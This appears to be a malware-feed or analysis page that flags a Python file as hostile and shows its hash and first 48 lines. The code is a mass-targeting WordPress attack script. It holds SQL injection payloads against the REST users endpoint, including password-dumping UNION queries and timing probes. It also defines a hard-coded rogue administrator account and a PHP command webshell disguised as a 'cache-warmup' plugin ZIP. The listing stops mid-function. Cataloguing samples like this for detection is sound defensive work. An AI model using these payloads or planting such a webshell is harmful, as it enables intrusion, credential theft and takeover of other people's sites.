Hostile 100% python Download

wp2shell_rest_sqli_webshell.py

Automated WordPress webshell deployment

WordPress REST client builds command-shell ZIPWordPress REST SQLi/admin-role/shell indicators
SHA-256a31575aafbefd44646700ae1d6eb5c5432f267f8773532c92747775b75c4d041

Evidence

MySQL BENCHMARK delay payload lines 1–48
1:32… dPress REST API exploitation pipeline.
2
3Mirrors the CyberXero wp2shell flow described in the article: abuse a flaw in
4the WordPress REST API to inject SQL, plant a rogue administrator account,
5and drop a PHP webshell -- driven at machine speed across thousands of
6targets in a single automated run.
7"""
8import base64
9import io
10import zipfile
11
12import requests
13from concurrent.futures import ThreadPoolExecutor
14
15SQLI_PROBES = [
16 "' UNION SELECT 1,2,@@version,4,5-- -",
17 "' UNION SELECT null,user_login,user_pass,user_email FROM wp_users-- -",
18 "' OR SLEEP(5)-- -",
19 "1' AND BENCHMARK(5000000,MD5(1))-- -",
20]
21
22ROGUE_ADMIN = {
23 "username": "svc_update",
24 "email": "[email protected]",
25 "password": "P@ssw0rd!2026",
26 "roles": ["administrator"],
27}
28
29WEBSHELL_PHP = "<?php @system($_REQUEST['c']); ?>"
30
31
32def build_plugin_zip():
33 buf = io.BytesIO()
34 with zipfile.ZipFile(buf, "w") as zf:
35 zf.writestr("cache-warmup/cache-warmup.php", WEBSHELL_PHP)
36 return buf.getvalue()
37
38
39def inject_and_escalate(target):
40 base = target.rstrip("/")
41 # 1. SQL injection through the REST users search parameter.
42 for probe in SQLI_PROBES:
43 r = requests.get(
44 base + "/wp-json/wp/v2/users",
45 params={"search": probe, "per_page": 100},
46 timeout=15,
47 )
48 if r.status_code == 200 and "user_login" in r.text:

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.